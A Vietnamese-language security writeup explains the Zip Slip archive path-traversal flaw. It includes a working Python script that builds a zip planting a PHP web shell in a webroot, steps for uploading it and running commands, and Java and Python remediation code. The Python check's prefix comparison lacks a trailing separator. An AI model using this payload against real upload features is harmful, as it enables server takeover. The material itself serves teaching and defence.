Zip Slip Vulnerability

Admin
WRITEUP
2025-12-28
4 min read
20 views
0 comments
Zip Slip Vulnerability

Zip Slip Vulnerability

1. Tổng quan về lỗ hổng

Zip Slip là một lỗ hổng bảo mật nghiêm trọng liên quan đến việc ghi đè file tùy ý (Arbitrary File Overwrite) trong quá trình giải nén các file lưu trữ (Archive extraction) như .zip, .tar, .jar, .7z, .war, .apk.

Cơ chế: Định dạng file ZIP cho phép lưu trữ tên file chứa các ký tự điều hướng thư mục (../). Nếu ứng dụng giải nén file này mà không kiểm tra kỹ tên file đích, nó sẽ vô tình ghi file ra ngoài thư mục đích dự kiến.

Ví dụ:

  • Thư mục giải nén dự kiến: /app/uploads/
  • File độc hại trong ZIP có tên: ../../var/www/html/shell.php
  • Khi giải nén: /app/uploads/ + ../../var/www/html/shell.php -> /var/www/html/shell.php

Hậu quả:

  • Remote Code Execution (RCE): Ghi đè file mã nguồn (.php, .jsp) hoặc tạo file shell mới trong thư mục webroot.
  • System Compromise: Ghi đè file cấu hình hệ thống, file SSH authorized_keys, v.v.

2. Kỹ thuật khai thác (Exploitation)

Bước 1: Tạo file Zip độc hại

Bạn không thể tạo file ZIP chứa ../ bằng các công cụ nén thông thường (WinZip, WinRAR, 7-Zip GUI) vì chúng sẽ tự động loại bỏ các ký tự này để đảm bảo an toàn. Bạn bắt buộc phải dùng script để tạo thủ công.

Script Python tạo Payload (gen_zip_slip.py):

import zipfile
import sys
 
def create_zip_slip(filename, target_path, content):
    """
    Tạo file zip chứa payload Zip Slip.
    :param filename: Tên file zip đầu ra (vd: exploit.zip)
    :param target_path: Đường dẫn tương đối để ghi đè (vd: ../shell.php)
    :param content: Nội dung file (vd: mã PHP shell)
    """
    with zipfile.ZipFile(filename, "w") as zf:
        # writestr cho phép ghi file với tên bất kỳ, kể cả chứa ../
        zf.writestr(target_path, content)
 
    print(f"[+] Đã tạo file: {filename}")
    print(f"[+] Payload path: {target_path}")
 
if __name__ == "__main__":
    # Cấu hình tấn công
    OUTPUT_ZIP = "exploit.zip"
 
    # Tính toán độ sâu cần lùi. Ví dụ upload vào /var/www/html/uploads/ (sâu 4 cấp)
    # Cần lùi ra 1 cấp để về /var/www/html/
    DEPTH = "../" * 4
    TARGET_FILE = "shell.php"
    MALICIOUS_PATH = DEPTH + TARGET_FILE
 
    SHELL_CONTENT = "<?php system($_GET['cmd']); ?>"
 
    create_zip_slip(OUTPUT_ZIP, MALICIOUS_PATH, SHELL_CONTENT)

Bước 2: Thực hiện tấn công

  1. Chạy script trên để tạo file exploit.zip.
  2. Tìm chức năng upload file nén trên ứng dụng mục tiêu. Các chức năng thường gặp:
    • "Import Data" / "Restore Backup".
    • "Upload Bulk Images" (Tải lên nhiều ảnh cùng lúc).
    • "Upload Plugin/Theme" (trong CMS).
  3. Upload file exploit.zip.
  4. Nếu ứng dụng tự động giải nén, file shell.php sẽ được ghi vào vị trí bạn mong muốn.

Bước 3: Kiểm tra

Truy cập đường dẫn file shell dự kiến: http://target.com/shell.php?cmd=id.

3. Biện pháp phòng chống (Remediation)

Nguyên tắc cốt lõi để phòng chống Zip Slip là: Validate Canonical Path (Kiểm tra đường dẫn chuẩn hóa).

Trước khi ghi bất kỳ file nào từ file nén ra đĩa, ứng dụng phải:

  1. Lấy đường dẫn đích dự kiến (Destination Path).
  2. Chuẩn hóa đường dẫn đó (Resolve Canonical Path) để loại bỏ các ký tự ....
  3. Kiểm tra xem đường dẫn chuẩn hóa có bắt đầu bằng đường dẫn thư mục đích (Target Directory) hay không.

Ví dụ code an toàn (Java):

File destinationDir = new File("/app/uploads");
ZipEntry zipEntry = zipInputStream.getNextEntry();
 
while (zipEntry != null) {
    File destinationFile = new File(destinationDir, zipEntry.getName());
 
    // --- BẮT ĐẦU KIỂM TRA AN TOÀN ---
    String destinationDirPath = destinationDir.getCanonicalPath();
    String destinationFilePath = destinationFile.getCanonicalPath();
 
    if (!destinationFilePath.startsWith(destinationDirPath + File.separator)) {
        throw new IOException("Phát hiện tấn công Zip Slip: " + zipEntry.getName());
    }
    // --- KẾT THÚC KIỂM TRA AN TOÀN ---
 
    // Tiến hành giải nén an toàn...
    zipEntry = zipInputStream.getNextEntry();
}

Ví dụ code an toàn (Python):

import os
import zipfile
 
def extract_safe(zip_ref, extract_path):
    for member in zip_ref.infolist():
        # Resolve đường dẫn tuyệt đối
        target_path = os.path.realpath(os.path.join(extract_path, member.filename))
 
        # Kiểm tra xem target_path có nằm trong extract_path không
        if not target_path.startswith(os.path.realpath(extract_path)):
            raise Exception("Phát hiện tấn công Zip Slip!")
 
        zip_ref.extract(member, extract_path)

Comments (0)